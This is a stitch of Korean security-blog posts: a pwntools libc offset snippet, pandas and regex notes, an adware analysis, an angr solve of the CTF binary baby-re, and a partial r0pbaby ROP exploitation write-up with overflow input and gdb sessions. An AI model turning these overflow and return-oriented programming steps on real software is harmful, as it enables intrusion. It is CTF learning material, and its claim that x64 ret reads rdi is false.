elf = ELF('./a.out')
#rop = ROP(elf)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

printf_system_offset = libc.symbols['printf'] - libc.symbols['system']

 

printf_plt = elf.plt['printf']
printf_got = elf.got['printf']

write_plt = elf.plt['write']
write_got = elf.got['write']

 

libc_start_main = elf.plt['__libc_start_main']

 

print '[*] printf@plt : %s' % str(hex(printf_plt))
print '[*] printf@got : %s' % str(hex(printf_got))
print '[*] write@plt : %s' % str(hex(write_plt))
print '[*] write@got : %s' % str(hex(write_got))
print '[*] printf - system : %s(%s)' % (str(hex(printf_system_offset)), str(int(printf_system_offset)))

print '[*] lib_strat_main : %s' % str(hex(libc_start_main))

 

[실행 결과]

 

[*] printf@plt : 0x8048500
[*] printf@got : 0x804c010
[*] write@plt : 0x8048590
[*] write@got : 0x804c034
[*] printf - system : 0xefd0(61392)
[*] lib_strat_main : 0x8048580

 


 

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[defcon 24 - 2016] Reversing - baby-re  (0) 2016.05.24
[defcon 23 - 2015] r0pbaby Writeup  (0) 2016.05.18
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

import pandas as pd 

※ pandas를 활용하면 DataFrame의 객체로 생성 해 줍니다.

 

함수 

설명 

read_csv

구분자 ","의 데이터를 읽어 올 때 사용

read_table 

구분자 "\t"의 데이터 읽어 올 때 사용

read_fwf 

구분자 없는 데이터를 읽어 올 때 사용 

read_clipboard 

클립보드에 있는 데이터를 읽어 오고, read_table로 표시 

 

 

[[ index col 지정 - 적용 전 ]]

parsed_org = pd.read_csv('ch06/csv_mindex.csv')
parsed_org 

 


 

[[ index col 지정 - 적용 후 ]]

parsed = pd.read_csv('ch06/csv_mindex.csv', index_col=['key1', 'key2'])
parsed




[[ 공백으로 데이터 정제 ]]

result = pd.read_table('ch06/ex3.txt', sep='\s+') # 공백으로 구분

result 

 



[[ 행 선택적으로 데이터 정제 - 적용 전 ]]

pd.read_csv('ch06/ex4.csv') 




[[ 행 선택적으로 데이터 정제 - 적용 ]]

pd.read_csv('ch06/ex4.csv', skiprows=[0, 2, 3]) #0, 2, 3 행만 출력




[[ 컬럼 명 지정 - 적용 전 ]]

pd.read_csv('ch06/ex2.csv', header=None) 



[[ 컬럼 명 지정 - 적용 후 ]]

pd.read_csv('ch06/ex2.csv', header=None) 



[[ 문자열 치환 - 적용 전 ]]

result = pd.read_csv('ch06/ex5.csv', na_values=['NULL'])



[[ 문자열 치환 - 적용 ]]

sentinels = {'message':['foo', 'NA'], 'something':['two']}

pd.read_csv('ch06/ex5.csv', na_values = sentinels)



[[ 파일 저장 - DataFrame 활용 ]]

data = pd.read_csv('ch06/ex5.csv')

data.to_csv('out.csv')

pd.read_csv('out.csv')



[[ 파일 저장 - sys 라이브러리 활용 ]]

import sys

data.to_csv(sys.stdout, sep='|') 

 

 


 

[[ 결과 ]]

|something|a|b|c|d|message
0|one|1|2|3.0|4|
1|two|5|6||8|world
2|three|9|10|11.0|12|foo

 


[[ 파일 저장 - 컬럼 선택적 저장 ]]

import sys

data.to_csv(sys.stdout, index=False, cols['a', 'b', 'c']) 

 

 

[[ 결과 ]]

a,b,c
1,2,3.0
5,6,
9,10,11.0

반응형
반응형

출처 : http://shaeod.tistory.com/562

정규표현식 테스트 : http://www.regexr.com/

 

기본 메타 문자

 .

 점 하나당 하나의 문자에 해당하며 모든 문자와 일치

 |

 왼쪽 혹은 오른쪽과 일치

 []

 문자 집합 구성원 중 하나와 일치

 [^]

 문자 집합 구성원을 제외하고 일치

 -

 범위 정의 ([A-Z]와 같은 형태)

 \

 다음에 오는 문자를 이스케이프

수량자

 *

 문자가 없는 경우나 하나 이상 연속하는 문자 찾기

 *?

 게으른 * 문자

 +

 문자 하나 이상 찾기

 +?

 게으른 + 문자

 ?

 문자가 없거나 하나인 문자 찾기

 {n}

 정확히 요소와 n번 일치

 {m,n}

 요소와 m에서 n번 일치

 {n,}

 요소와 n번 이상 일치

 {n,}?

 게으른 {n,}

위치 지정

 ^

 문자열의 시작과 일치

 \A

 문자열의 시작과 일치

 $

 문자열의 끝과 일치

 \Z

 문자열의 끝과 일치

 \<

 단어의 시작과 일치

 \>

 단어의 끝과 일치

 \b

 단어 경계와 일치

 \B

 \b와 반대로 일치

단축 문자

(특수한 문자)

 [\b]

 역스페이스

 \c

 제어문자와 일치

 \d

 모든 숫자와 일치

 \D

 \d와 반대

 \f

 페이지 넘기기(form feed)

 \n

 줄바꿈

 \r

 캐리지 리턴

 \s

 공백 문자와 일치

 \S

 \s와 반대로 일치

 \t

 탭

 \v

 수직 탭

 \w

 영숫자 문자나 밑줄과 일치

 \W

 \w와 반대로 일치

 \x

 16진수 숫자와 일치

 \O

 8진수 숫자와 일치

역참조와 전후방 탐색

 ()

 하위 표현식 정의

 \1

 첫 번째 일치한 하위 표현식. 두 번째 일치한 하위 표현식은 \2로 표기

 ?=

 전방 탐색

 ?<=

 후방 탐색

 ?!

 부정형 전방 탐색

 ?<!

 부정형 후방 탐색

 ?(backreference)true

 조건 지정

 ?(backreference)true|false

 else 표현식 조건 지정

대소문자 변환

 \E

 \L 혹은 \U 변환을 끝냄

 \l

 다음에 오는 글자를 소문자로 변환

 \L

 \E를 만날 때까지 모든 문자를 소문자로 변환

 \u

 다음에 오는 글나를 대문자로 변환

 \U

 \E를 만날 때까지 모든 문자를 대문자로 변환

POSIX 문자 클래스

 [:alnum:]

 모든 영숫자 ([a-zA-Z0-9]와 같음)

 [:alpha:]

 모든 영문자 ([a-zA-Z]와 같음)

 [:blank:]

 빈칸(space)이나 탭 문자 ([\t]와 같음)

 [:cntrl:]

 아스키 제어문자(아스키 0번부터 31, 127)

 [:digit:]

 모든 한 자리 숫자 ([0-9]와 같음)

 [:graph:]

 [:print:]와 동일하나 빈칸(space)은 제외

 [:lower:]

 모든 소문자 ([a-z]와 같음)

 [:print:]

 출력 가능한 모든 문자

 [:punct:]

 [:alnum:]이나 [:cntrl:]가 포함되지 않은 모든 문자

 [:space:]

 빈칸을 포함한 모든 공백 문자 ([\f\n\r\t\v]와 같음)

 [:upper:]

 모든 대문자 ([A-Z]와 같음)

 [:xdigit:]

 모든 16진수 숫자 ([a-fA-F0-9]와 같음)

변경자

 (?m)

 다중행 모드

반응형
반응형

 

wordpress.com 을 통해 검색어를 올려 놓고 해당 내용을 다운 받아서 네이버에 검색하는 adware 입니다.

이런 걸로 사업하다니.....

 

[[ 증상은 다음과 같습니다. ]]

1. 마우스 포커스를 잃습니다.

2. IE에 네이버를 통한 검색이 이뤄집니다.

3. C:\Documents and Settings\Analyzer\Local Settings\Temp\[랜덤문자].exe 파일 생성

(검색어 처리 하는 프로그램)

4. 자동실행 레지스트리 추가 - C:\windows\[랜덤문자].exe

 

[[ 검색어 리스트 - 키워드는 사업명이므로 제외 하였음. ]]

-- https://creat01~10.wordpress.com/

 [key]
키워드갯수=390
키워드인장=2016-06-21-19
[keyw1]
키워드=
찾을내용=하남 맛집
찾을내용2=팔당 맛집
[keyw2]
키워드=
찾을내용=세종기미
찾을내용2=세종시 제모
[keyw3]
키워드=
찾을내용=피부 관리기
찾을내용2=피부관리기
[keyw4]
키워드=
찾을내용=신지웨딩
찾을내용2=박주은 부산웨딩플래너
[keyw5]
키워드=
찾을내용=강남세란의원
찾을내용2=강남 목디스크
[keyw6]
키워드=
찾을내용=원주필러
찾을내용2=원주피부과추천
[keyw7]
키워드=
찾을내용=신혼가구추천
찾을내용2=일산가구할인매장
[keyw8]
키워드=
찾을내용=잠실 웨딩홀
찾을내용2=송파 웨딩홀
[keyw9]
키워드=
찾을내용=성북구 미용실
찾을내용2=살롱드프롬 성신여대살롱
[keyw10]
키워드=
찾을내용=구로 정형외과
찾을내용2=구로 한의원
[keyw11]
키워드=
찾을내용=기미치료
찾을내용2=얼굴잡티제거
[keyw12]
키워드=
찾을내용=노래강사자격증
찾을내용2=한국실버여가문화지도자협회
[keyw13]
키워드=
찾을내용=제모기
찾을내용2=제모기
[keyw14]
키워드=
찾을내용=천만모여
찾을내용2=아만다
[keyw15]
키워드=
찾을내용=분당 맛집
찾을내용2=분당맛집
[keyw16]
키워드=
찾을내용=김포 맛집
찾을내용2=김포맛집
[keyw17]
키워드=
찾을내용=부산대 맛집
찾을내용2=부산대맛집
[keyw18]
키워드=
찾을내용=콤비교정
찾을내용2=급속교정
[keyw19]
키워드=
찾을내용=압구정사주카페
찾을내용2=재미난천상
[keyw20]
키워드=
찾을내용=이대 맛집
찾을내용2=신촌역 맛집
............................................

 

배포자는 알아서 정리하길 바래요...( _ _ )

 

 

 

 

반응형
반응형

 

[[ 참고 : http://docs.angr.io/docs/examples.html ]]

 

[[ angr 설치 ]]

기존에 python이 설치 되어 있는 상태라면 설치 과정에서 컴파일이 안되는 상황이 발생합니다.

따라서, 깨끗한 환경에서 설치하기를 추천 합니다.

설치 방법은 다음과 같습니다.

 

1.  $ sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper

2.  .bashrc 2줄 추가

$ cat >> .bashrc

export WORKON_HOME="~/.envAngr"
source /usr/share/virtualenvwrapper/virtualenvwrapper.sh

^D

3. $ source .bashrc

 

 

 

 

4. $ mkvirtualenv angr && pip install angr

(pip install angr 만 해도 무방 합니다.)

5. 확인

$ python

>>> import angr

 

 

그럼 이제, Symbolic Execution을 진행 해보도록 하겠습니다.

 

Symbolic Execution이란 무엇이냐?

Symbol = 상징, 부호

Execution = 실행

특정한 값이 아닌 x, y, z와 같은 임의의 문자로 변환하여 프로그램을 구동 시키는 방식을 의미

참조 : http://inc0gnito.com/Inc0gnito/Automation%20of%20Software%20Vulnerability%20Analysis.pdf

 

그럼 angr 환경이 구축 되어 있으니, 어떻게 활용해야 하는지 확인 해보도록 합시다.

angr의 경우 시작 지점과 끝 지점을 지정하면 angr 스스로 프로그램이 동작하여 끝 지점까지 실행을 시켜 줍니다.

따라서, baby-re를 분석하면 다음 주소에서 eax가 1이면 flag 값을 표시하게 되어 있습니다.

 

...............................

.text:00000000004028E0 E8 E1 DD FF FF                                call    near ptr CheckSolution
.text:00000000004028E5 84 C0                                         test    al, al

.text:00000000004028E7 74 58                                         jz      short loc_402941 <--- 분기할 경우 "Wrong" 문자열이 출력 / 따라서, 분기 하지 않도록 test al, al 값을 맞춰야 합니다.


.text:00000000004028E9 44 8B 65 D0                                   mov     r12d, [rbp+var_30]
.text:00000000004028ED 8B 5D CC                                      mov     ebx, [rbp+var_34]
.text:00000000004028F0 44 8B 5D C8                                   mov     r11d, [rbp+var_38]
.text:00000000004028F4 44 8B 55 C4                                   mov     r10d, [rbp+var_3C]
.text:00000000004028F8 44 8B 4D C0                                   mov     r9d, [rbp+var_40]
.text:00000000004028FC 44 8B 45 BC                                   mov     r8d, [rbp+var_44]
.text:0000000000402900 8B 7D B8                                      mov     edi, [rbp+var_48]
.text:0000000000402903 8B 75 B4                                      mov     esi, [rbp+var_4C]
.text:0000000000402906 44 8B 75 B0                                   mov     r14d, [rbp+var_50]
.text:000000000040290A 44 8B 6D AC                                   mov     r13d, [rbp+var_54]
.text:000000000040290E 8B 4D A8                                      mov     ecx, [rbp+var_58]
.text:0000000000402911 8B 55 A4                                      mov     edx, [rbp+var_5C]
.text:0000000000402914 8B 45 A0                                      mov     eax, [rbp+var_60]
.text:0000000000402917 41 54                                         push    r12
.text:0000000000402919 53                                            push    rbx
.text:000000000040291A 41 53                                         push    r11
.text:000000000040291C 41 52                                         push    r10
.text:000000000040291E 41 51                                         push    r9
.text:0000000000402920 41 50                                         push    r8
.text:0000000000402922 57                                            push    rdi
.text:0000000000402923 56                                            push    rsi
.text:0000000000402924 45 89 F1                                      mov     r9d, r14d
.text:0000000000402927 45 89 E8                                      mov     r8d, r13d
.text:000000000040292A 89 C6                                         mov     esi, eax
.text:000000000040292C BF 88 2A 40 00                                mov     edi, offset aTheFlagIsCCCCC ; "The flag is: %c%c%c%c%c%c%c%c%c%c%c%c%c"...
.text:0000000000402931 B8 00 00 00 00                                mov     eax, 0
.text:0000000000402936 E8 45 DC FF FF                                call    _printf
.text:000000000040293B 48 83 C4 40                                   add     rsp, 40h
.text:000000000040293F EB 0A                                         jmp     short loc_40294B
.text:0000000000402941                               ; ---------------------------------------------------------------------------
.text:0000000000402941
.text:0000000000402941                               loc_402941:                             ; CODE XREF: main+300j
.text:0000000000402941 BF B1 2A 40 00                                mov     edi, offset s   ; "Wrong"
.text:0000000000402946 E8 15 DC FF FF                                call    _puts
.text:000000000040294B
.text:000000000040294B                               loc_40294B:                             ; CODE XREF: main+358j
.text:000000000040294B B8 00 00 00 00                                mov     eax, 0
.text:0000000000402950 48 8B 5D D8                                   mov     rbx, [rbp+var_28]
.text:0000000000402954 64 48 33 1C 25 28 00 00 00                    xor     rbx, fs:28h
.text:000000000040295D 74 05                                         jz      short loc_402964
.text:000000000040295F E8 0C DC FF FF                                call    ___stack_chk_fail 

 

.text:00000000004028E0 E8 E1 DD FF FF                             call    near ptr CheckSolution
.text:00000000004028E5 84 C0                                         test    al, al

 

al 값은 어디에서 참조 할까요? 그건 "CheckSolution" 함수를 확인 해야 합니다.

 

....................................................
.text:00000000004006C6                               CheckSolution   proc far                ; CODE XREF: main+2F9p
.text:00000000004006C6
.text:00000000004006C6                               var_2B8         = qword ptr -2B8h
.text:00000000004006C6                               var_2B0         = dword ptr -2B0h
.text:00000000004006C6                               var_2AC         = dword ptr -2ACh
.text:00000000004006C6                               var_2A8         = dword ptr -2A8h
.text:00000000004006C6                               var_2A4         = dword ptr -2A4h
.text:00000000004006C6                               var_2A0         = dword ptr -2A0h
.text:00000000004006C6                               var_29C         = dword ptr -29Ch
.text:00000000004006C6                               var_298         = dword ptr -298h
.text:00000000004006C6                               var_294         = dword ptr -294h
.text:00000000004006C6                               var_290         = dword ptr -290h
.text:00000000004006C6                               var_28C         = dword ptr -28Ch
.text:00000000004006C6                               var_288         = dword ptr -288h
.text:00000000004006C6                               var_284         = dword ptr -284h
.text:00000000004006C6                               var_280         = dword ptr -280h
.text:00000000004006C6                               var_27C         = dword ptr -27Ch
.text:00000000004006C6                               var_278         = dword ptr -278h
.text:00000000004006C6                               var_274         = dword ptr -274h
.text:00000000004006C6                               var_270         = dword ptr -270h
.text:00000000004006C6                               var_26C         = dword ptr -26Ch
.text:00000000004006C6                               var_268         = dword ptr -268h
.text:00000000004006C6                               var_264         = dword ptr -264h
.text:00000000004006C6                               var_260         = dword ptr -260h
.text:00000000004006C6                               var_25C         = dword ptr -25Ch
.text:00000000004006C6                               var_258         = dword ptr -258h

.................................................... 

 

CheckSolution() 안에 들어가면 머리 아픈 변수가 엄청나게 선언 되어 있습니다.

따라서, 이걸 손과 눈으로 따라가기엔 문제가 있다는 것을 직감할 수 있습니다.

 

그럼 우리가 원하는 al은 어디에서 사용 되었을까요?

그 부분은 쉽게 확인 할 수 있습니다.

바로 return 되기 전에 al 값을 설정하고 이후에 CheckSolution()가 나온 직후 비교를 하기 때문입니다.

따라서, return 주변을 확인하면 eax 값을 찾을 수 있습니다.

 

text:00000000004025B3 8B 00                                         mov     eax, [rax]
.text:00000000004025B5 0F AF C2                                      imul    eax, edx
.text:00000000004025B8 01 C8                                         add     eax, ecx
.text:00000000004025BA 3D 45 49 1B 00                                cmp     eax, 1788229    <--- 연산 된 값이 "1788229"와 같다면 mov eax, 1을 틀리면 mov eax, 0을 지정하고 return 하게 되어 있습니다.
.text:00000000004025BF 74 0B                                         jz      short loc_4025CC
.text:00000000004025C1 EB 02                                         jmp     short loc_4025C5
.text:00000000004025C1                               ; ---------------------------------------------------------------------------
.text:00000000004025C3 3E FB                                         db 3Eh, 0FBh
.text:00000000004025C5                               ; ---------------------------------------------------------------------------
.text:00000000004025C5
.text:00000000004025C5                               loc_4025C5:                             ; CODE XREF: CheckSolution+1EFBj
.text:00000000004025C5 B8 00 00 00 00                                mov     eax, 0
.text:00000000004025CA EB 05                                         jmp     short loc_4025D1
.text:00000000004025CC                               ; ---------------------------------------------------------------------------
.text:00000000004025CC
.text:00000000004025CC                               loc_4025CC:                             ; CODE XREF: CheckSolution+1EF9j
.text:00000000004025CC B8 01 00 00 00                                mov     eax, 1
.text:00000000004025D1
.text:00000000004025D1                               loc_4025D1:                             ; CODE XREF: CheckSolution+FD6j
.text:00000000004025D1                                                                       ; CheckSolution+111Ej ...
.text:00000000004025D1 48 8B 75 F8                                   mov     rsi, [rbp+var_8]
.text:00000000004025D5 64 48 33 34 25 28 00 00 00                    xor     rsi, fs:28h
.text:00000000004025DE 74 05                                         jz      short locret_4025E5
.text:00000000004025E0 E8 8B DF FF FF                                call    ___stack_chk_fail
.text:00000000004025E5                               ; ---------------------------------------------------------------------------
.text:00000000004025E5
.text:00000000004025E5                               locret_4025E5:                          ; CODE XREF: CheckSolution+1F18j
.text:00000000004025E5 C9                                            leave
.text:00000000004025E6 C3                                            retn 

 

그럼 우리는 Symbolic Execution을 진행할 때 어디에 지정하면 좋을까요?

눈치 빠른 분이면 알 수 있겠죠.

 

바로

 

.text:00000000004025CC B8 01 00 00 00                                mov     eax, 1

 

이 곳입니다.

이 부분은 정확한 계산 값이 아니면 찾아 올 수 없는 부분이므로 해당 부분에  대한 주소를 지정하고 Sysmbolic을 할경우 원하는 값을 찾을 수 있습니다.

 

위의 분석된 결과를 기반으로 작성 된 exploit 입니다.

 

[[ exploit.py ]]

import angr 

proj = angr.Project('./baby-re', load_options={"auto_load_libs": False}) 
initial_state = proj.factory.entry_state() 
path_group = proj.factory.path_group(initial_state) 
path_group.explore(find=0x4025cc)   <--- 목적지를 알려줍니다.

found = path_group.found[0] 

print "[%s]\n" % found
print found.state.se.any_str(found.state.memory.load(found.state.regs.rbp, 200))

 

[[ 실행 결과 ]]

 

babyhack@ubuntu:~/tmp/defcon2016$ python exp_baby-re.py
WARNING | 2016-05-30 17:58:08,140 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:09,880 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:12,636 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:17,196 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:23,512 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:58:31,627 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
...............................................

WARNING | 2016-05-30 17:13:06,972 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:13:51,269 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
WARNING | 2016-05-30 17:14:48,520 | simuvex.plugins.symbolic_memory | Concretizing symbolic length. Much sad; think about implementing.
[<Path with 269 runs (at 0x4025cc)>]

 

��������(@Math is hard!``�@�������

 

실행 시킨 후 3-5분 정도 지나면 아래와 위와 같이 flag 문자열을 얻을 수 있습니다.

 

Flag is @Math is hard!

반응형

'Reverse > pwnable' 카테고리의 다른 글

[vagrant] CGC (Cyber Grand Challenge) 환경 구축  (0) 2016.08.02
[pwntools] test code  (0) 2016.07.27
[pwntools] 함수 offset 계산 방법  (0) 2016.07.21
[defcon 23 - 2015] r0pbaby Writeup  (0) 2016.05.18
[pcf2013] ropasaurusrex  (0) 2016.05.11
반응형

 

[[ 문제 ]]

https://github.com/ctfs/write-ups-2015/tree/master/defcon-qualifier-ctf-2015/babys-first/r0pbaby 

 

 

./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.
Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$ ls 

 

내부 코드를 보면 다음과 같이 memcpy에서 overflow가 발생 합니다.

 

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed int v3; // eax@4
  unsigned __int64 v4; // r14@15
  int v5; // er13@17
  size_t v6; // r12@17
  int v7; // eax@18
  void *handle; // [rsp+8h] [rbp-448h]@1
  char nptr[1088]; // [rsp+10h] [rbp-440h]@2
  __int64 savedregs; // [rsp+450h] [rbp+0h]@22

  setvbuf(stdout, 0LL, 2, 0LL);
  signal(14, handler);
  alarm(0x3Cu);
  puts("\nWelcome to an easy Return Oriented Programming challenge...");
  puts("Menu:");
  handle = dlopen("libc.so.6", 1);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          Menu_sub_BF7();
          if ( !sub_B9A((__int64)nptr, 1024LL) )
          {
            puts("Bad choice.");
            return 0LL;
          }
          v3 = strtol(nptr, 0LL, 10);
          if ( v3 != 2 )
            break;
          __printf_chk(1LL, "Enter symbol: ");
          if ( sub_B9A((__int64)nptr, 64LL) )
          {
            dlsym(handle, nptr);
            __printf_chk(1LL, "Symbol %s: 0x%016llX\n");
          }
          else
          {
            puts("Bad symbol.");
          }
        }
        if ( v3 > 2 )
          break;
        if ( v3 != 1 )
          goto LABEL_24;
        __printf_chk(1LL, "libc.so.6: 0x%016llX\n");
      }
      if ( v3 != 3 )
        break;
      __printf_chk(1LL, "Enter bytes to send (max 1024): ");
      sub_B9A((__int64)nptr, 1024LL);
      v4 = (signed int)strtol(nptr, 0LL, 10);
      if ( v4 - 1 > 0x3FF )
      {
        puts("Invalid amount.");
      }
      else
      {
        if ( v4 )
        {
          v5 = 0;
          v6 = 0LL;
          while ( 1 )
          {
            v7 = _IO_getc(stdin);
            if ( v7 == -1 )
              break;
            nptr[v6] = v7;
            v6 = ++v5;
            if ( v4 <= v5 )
              goto LABEL_22;
          }
          v6 = v5 + 1;
        }
        else
        {
          v6 = 0LL;
        }
LABEL_22:
        memcpy(&savedregs, nptr, v6);    <---- memcpy를 입력한 숫자 만큼 입력 받음.
      }
    }
    if ( v3 == 4 )
      break;
LABEL_24:
    puts("Bad choice.");
  }
  dlclose(handle);
  puts("Exiting.");
  return 0LL;

 

해당 코드는 입력한 숫자 만큼 입력 값을 복사하고 입력한 숫자보다 많은 양이 들어올 경우 overflow가 발생하여

프로그램이 종료 됩니다.

 

공격하기 용이한 코드를 입력 해 볼까요?

 

babyhack@ubuntu:~/tmp$ (python -c 'print "3\n" + "20\n" + "a"*30 + "\n"';cat) | ./r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Enter bytes to send (max 1024): 1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Segmentation fault (core dumped)
babyhack@ubuntu:~/tmp$

 

편리한 공격 코드가 만들어졌으니 이제부턴 주소를 계산하여 실제 exploit을 작성해 보도록 하겠습니다.

이젠 gdb를 활용하여 메모리에 할당된 정보를 확인 해 봅시다.

 

babyhack@ubuntu:~/tmp$ gdb -q r0pbaby
Reading symbols from r0pbaby...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF79B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857640
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff78fc810 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81 ../sysdeps/unix/syscall-template.S: No such file or directory.
(gdb) info proc map
process 11848
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555556000     0x2000        0x0 /home/babyhack/tmp/r0pbaby
      0x555555755000     0x555555757000     0x2000     0x1000 /home/babyhack/tmp/r0pbaby
      0x555555757000     0x555555778000    0x21000        0x0 [heap]
      0x7ffff7811000     0x7ffff79cc000   0x1bb000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff79cc000     0x7ffff7bcb000   0x1ff000   0x1bb000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcb000     0x7ffff7bcf000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bcf000     0x7ffff7bd1000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7ffff7bd1000     0x7ffff7bd6000     0x5000        0x0
      0x7ffff7bd6000     0x7ffff7bd9000     0x3000        0x0 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7bd9000     0x7ffff7dd8000   0x1ff000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd8000     0x7ffff7dd9000     0x1000     0x2000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dd9000     0x7ffff7dda000     0x1000     0x3000 /lib/x86_64-linux-gnu/libdl-2.19.so
      0x7ffff7dda000     0x7ffff7dfd000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7fdf000     0x7ffff7fe2000     0x3000        0x0
      0x7ffff7ff5000     0x7ffff7ff8000     0x3000        0x0
      0x7ffff7ff8000     0x7ffff7ffa000     0x2000        0x0 [vvar]
      0x7ffff7ffa000     0x7ffff7ffc000     0x2000        0x0 [vdso]
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
---Type <return> to continue, or q <return> to quit---

 

gdb를 통하여, bof를 발생 시키고 메모리를 확인 하도록 합니다.

 

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAAABBBBBCCCCCDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
:
Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7834242 in __strtok_r_1c (__nextp=<optimized out>, __sep=<optimized out>,
    __s=0x7ffff78fc870 <__write_nocancel+7> "H=\001\360\377\377s1\303H\203\354\b\350\356\310\001")
    at ../string/bits/string2.h:1161
1161 ../string/bits/string2.h: No such file or directory.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/babyhack/tmp/r0pbaby

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 10
AAAABBBBCC

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
__gconv_open (toset=<error reading variable: Cannot access memory at address 0x42424242414140d1>,
    toset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    fromset=<error reading variable: Cannot access memory at address 0x42424242414140d9>,
    fromset@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    handle=<error reading variable: Cannot access memory at address 0x42424242414140a9>,
    handle@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>,
    flags=<error reading variable: Cannot access memory at address 0x42424242414140c9>,
    flags@entry=<error reading variable: Cannot access memory at address 0x4242424241414149>) at gconv_open.c:93
93 gconv_open.c: No such file or directory.
(gdb)

 

입력 받을 숫자를 입력하고 입력한 숫자만큼 문자를 입력할 경우 주소를 컨트롤 가능합니다.

따라서, 쉘코드가 충분히 들어갈 수 있는 사이즈로 입력 크기를 잡고 메모리 확인을 해야 합니다.

 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 20
AAAABBBBCCCCDDDDEEEE

1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555554eb3 in ?? ()
(gdb) x/i $rip
=> 0x555555554eb3: retq  
(gdb) x/gw $rsp
0x7fffffffdf28: 0x43434343
(gdb)  

 

ret 명령어는 esp의 첫번째 주소를 가지고 옵니다.

하지만, x64의 경우는 ret 명령어는 rdi의 주소를 가지고 오므로 pop rdi; ret 주소가 필요하게 됩니다.

 

[[ x64 ret 주소 참조 순서 ]] 

rdi -> rsi -> rdx -> r10 -> r9 -> r8 > .......

 

따라서, Gadget을 찾아야 합니다.

(※ rp++를 활용하면 쉽게 얻을 수 있습니다.)

 

babyhack@ubuntu:~/tmp$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc.so.6 -r 4 | grep "pop rdi" | more
.......................
